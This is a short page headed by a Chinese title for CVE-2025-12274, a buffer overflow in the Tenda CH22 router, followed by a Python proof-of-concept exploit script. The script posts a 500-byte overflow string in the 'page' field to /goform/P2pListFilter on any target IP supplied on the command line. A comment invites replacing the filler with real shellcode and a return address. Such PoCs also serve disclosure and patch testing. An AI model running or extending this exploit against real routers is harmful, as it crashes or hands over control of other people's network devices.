CVE-2025-12274 Tenda CH22路由器 /goform/P2pListFilter缓冲区溢出漏洞

import requests import sys # CVE-2025-12274 PoC - Tenda CH22 Buffer Overflow in /goform/P2pListFilter # Target: Tenda CH22 Router Firmware 1.0.0.1 # Vulnerability: Buffer overflow via page parameter in fromP2pListFilter function def exploit(target_ip, target_port=80): """ Exploit buffer overflow in Tenda CH22 /goform/P2pListFilter Args: target_ip: Target router IP address target_port: Target router web port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ url = f"http://{target_ip}:{target_port}/goform/P2pListFilter" # Buffer overflow payload - 500 bytes of 'A' to overflow the buffer # In real exploitation, replace with actual shellcode and proper return address overflow_payload = "A" * 500 # Construct malicious request data = { "page": overflow_payload, "submit": "submit" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12274.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port) if __name__ == "__main__": main()